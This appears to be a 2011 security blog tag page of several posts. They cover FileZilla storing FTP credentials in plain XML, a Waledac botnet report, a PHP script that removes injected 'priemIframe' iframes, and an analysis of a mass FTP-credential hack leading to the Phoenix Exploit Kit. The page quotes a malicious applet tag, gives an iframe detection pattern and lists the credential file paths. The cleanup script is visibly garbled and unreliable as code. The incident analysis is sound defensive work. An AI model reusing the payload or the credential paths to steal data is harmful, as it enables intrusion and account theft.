Posts Tagged ‘Filezilla’

Disable FileZilla Save all credentials behaviour

2011/02/02 Leave a comment

I have been asked how to get rid of the stored passwords in FileZilla.

First, checkout these files:

filezilla.xml, recentservers.xml and sitemanager.xml

On Windows XP

C:\Documents and Settings\<user>\Application Data\FileZilla\

or Vista/Windows 7


open them in Wordpad, and BAM! .. it’s like stealing candy from a baby.

You have to edit the C:\Program Files\FileZilla FTP Client\docs\fzdefaults.xml (respectivly under your userprofile) and disable the KIOSK mode!

See the file fzdefaults.xml.example (docs subdirectory). Inside are instructions how to set FileZilla to not save passwords (kiosk mode 1) or not to save anything at all (kiosk mode 2).

As i’m very disappointed from this feature, i would recommend deleting Filezilla (and manually check that the files are gone) and use somthing line WinSCP or a linux.

The Last Line Of Defence on Waledac 2.0

2011/02/02 Leave a comment

TTLOD wrote on their blog about the reappearing Waledac Botnet (a.k.a SLM / Storm) starting sending out malicious e-cards begining with new years eve using stolen credentials.

What seems to be the most impressing here are the analogies to the Primiframe attacks.

In particular, we found that the botmasters have a tremendous amount of stolen credentials. More specifically, they have 123,920 login credentials to FTP servers at their disposal. This number is significant, considering the Waledac controllers use an automated program to login to these servers and patch (or upload) specific files to redirect users to sites that serve malware or promote cheap pharmaceuticals.

I think the amount of stolen credentials from Filezilla users is much higher, it might be some kind of 1 million or more credentials.

Additionally, stored e-mail credentials were stolen in the Waledac attacks

We also discovered 489,528 credentials for POP3 email accounts. These credentials are known to be used for “high-quality” spam campaigns. The technique abuses legitimate mail servers by authenticating as the victim through the SMTP-AUTH protocol to send spam messages. This method makes IP-based blacklist filtering considerably more difficult.

Right now, the priemliframe attacks look like a testrun of new Botnet. The payload seems to just uploads found credentials and exits. It doesnt install itself into the startup directory to not be found from future antivirus clients.

If you had an primliframe attack on your server, change _ALL_ your passwords!

Let’s see whats next.


Update on priemIframe hacks

2011/01/24 3 comments

From all the feedback I receive, it seems like the attack is focused on german websites. I drew a flow explaining how the circle of death & destruction works:

Roland Bollmann from wrote a php script to cleanup hacked servers. Thanks for the submission:

// hacked.php version 1.01 2011/01/24
// upload this script somewhere onto your server
// call "find -name php" to get the path to php (like /usr/lib/cgi-bin/php)
// and then call "/usr/lib/cgi-bin/php /home/www/web6/hacked.php path=/"
// to scan and repair the entire server ;-)
// usage at your own risk :-)

$hC = array(
'filereg'    => '/^.+index\.[^.]+$/i',
'hackmatch'    => '<iframe.+?priemIframe\.php.+?<\/iframe>',
'path'        => '.',
'test'    => 0

$sHtml = $_SERVER['PHP_SELF'] ? '<br/>' : '';

if ($sHtml)
print "run from http$sHtml\n";
foreach($hC AS $name => $var)
if (isset($_GET[$name]))    $hC[$name] = $_GET[$name];
print "run from console. usage: hacked.php [option1=value1] [option2=value2] ..\n";
for ($i=1; $i<count($argv); $i++)
list($name,$var) = explode('=',$argv[$i]);
if (isset($hC[$name]))
$hC[$name] = $var;
else    die("unkown command '$name'. possible commands:
'filereg'    = '/^.+index\.[^.]+\$/i'
'hackmatch'    = '<iframe.+?priemIframe\.php.+?<\/iframe>'
'path'        = '.'
'test'        = 0

foreach($hC AS $name => $var)
if ($sHtml)    print "$name = ".htmlspecialchars($var)."$sHtml\n";
else    print "$name = $var $sHtml\n";

$Directory = new RecursiveDirectoryIterator($hC['path']);
$Iterator = new RecursiveIteratorIterator($Directory);
$Regex = new RegexIterator($Iterator, $hC['filereg'], RecursiveRegexIterator::GET_MATCH);

$iTotal = 0;
$iTotalHits = 0;
foreach($Regex AS $a)
foreach($a AS $sPath)
if ($hC['test'])    print "$sPath$sHtml\n";

if (Load($sPath,$s))
$iHits = 0;
$s = $aM[1].$aM[2];
if ($iHits)
print "$sPath hits: $iHits$sHtml\n";
if (!$hC['test'])    Save($sPath,$s);

$iTotalHits += $iHits;

print "total matches: $iTotal$sHtml\ntotal hits: $iTotalHits$sHtml\n";

function Load($sPath,&$sData)
error_reporting(E_ERROR | E_PARSE);
$sData = file_get_contents($sPath);
error_reporting(E_ERROR | E_WARNING | E_PARSE);

if ($sData === FALSE)
return 0;
return 1;

function Save($sPath,$sData)
$hfile = fopen($sPath, "w");
if (!$hfile)
print("the file $sPath could not be opened for writing :-($sHtml\n");
return 0;
fwrite($hfile, $sData);
return 1;



I just got feedback from german abuse department of 1&1 Server Provider, they will check for these links in their access filters. So the world is a little bit safer now. 🙂

Automated attacks since 12/2010 using compromised credentials / chain reaction

2011/01/12 3 comments

Is your browser giving you a content warning while accessing legitimate websites? You get a virus warning while reading your favorite online newspaper? Here is why:

In october 2010 a “feature” was disclosed that Filezilla caches credentials silently in a XML document. This feature was 0-day before and has been used since then by malware to collect user credentials. Today, there might be a collection of some million compromised records.

Since December 2010, compromised websites are upcoming which are an evidence for an automated mass hack. For this hack it doesnt matter which OS, service or application (cms, joomla) is installed as long as the access password wasn’t changed. So every content can be changed, even save-known, non-active pages like html.

The attack starts with the used protocol, in this example via FTP. The bot starts to retrieve every existing index.* file on server and includes an (hidden) iframe:

The files are then uploaded again, together with a PHP Shell and a blackhat-seo framework.

This server based in Ukraine seems to be a counter and decision server. Depending on the OS and used browser the client ist then redirected to a different server. Here a server in Austria:

The access is checked for a valid referer (you have to come from the counter server to get content). On a direkt access the php is empty. It strongly depends on the used browser, version and OS which content you reveive. (An up-to-date Firefox blocks the austrian domain immediately due to reports)

When the check is disabled/an older browser is used, and you are using Java you receive the following

<applet mayscript=’true’ archive=’jzdlgoazhzfvkli3.jar’ code=’a.class’><param name=’trigger’ value=’isie’><param name=’url’ valuetype=’ref’ value=’http:/’></applet><body id=’jpyvaq9′ name=’jpyvaq9′></body>

This Java code uses two different kinds of the sound/midi exploit to infect the client (this IP address is based in India).

Now see how “good” these two “old” java exploits are detected by up-to-date antivirus scanners, only 4 out of 47 detect the malware:……

Here is the link to the pastebin with the malicious code:

Here is the code deobfusicated:

You now can easily see the exploited vulnerabilites.

This seems to be the Phoenix Exploit Kit

The Phoenix Exploit Kit includes exploits for the following vulnerabilities:

Flash exploits

Adobe Flash Integer Overflow in AVM2 – CVE-2009-1869
Adobe Flash Integer Overflow in Flash Player CVE-2007-0071

PDF exploits

Adobe Reader CollectEmailInfo Vulnerability CVE-2007-5659
Adobe Reader Collab GetIcon Vulnerability CVE-2009-0927
Adobe Reader LibTiff Vulnerability CVE-2010-0188
Adobe Reader newPlayer Vulnerability CVE-2009-4324
Adobe Reader util.printf Vulnerability CVE-2008-2992

Internet Explorer Exploits

IE MDAC Vulnerability CVE-2006-0003
IE SnapShot Viewer ActiveX Vulnerability CVE-2008-2463
IE iepeers Vulnerability CVE-2010-0806

Java Exploits
JAVA HsbParser.getSoundBank Vulnerability CVE-2009-3867
Java Development Kit Vulnerability CVE-2008-5353


I was too slow to decrpyt the script to be able to download the files as the servers have been shutdown in between (half a day).

But these exploits will definately try to drop a (or more) trojan(s) then, search the compromised user account for saved passwords, and might also hook into the browsers to get credentials directly, which then will be submitted to a server, which will be used to compromise the next server. And it goes on and on…

As you can see, even a good virusscanner might allow the trojan to be run. So don’t feel save.

  1. Don’t use filezilla
  2. Never save credentials in the browser
  3. Don’t use Internet Explorer
  4. Keep your OS, Browser and third-party software (Adobe Flash, Java..) up-to-date
  5. Perodically change your passwords
  6. Use security browser plugins like adblockplus and noscript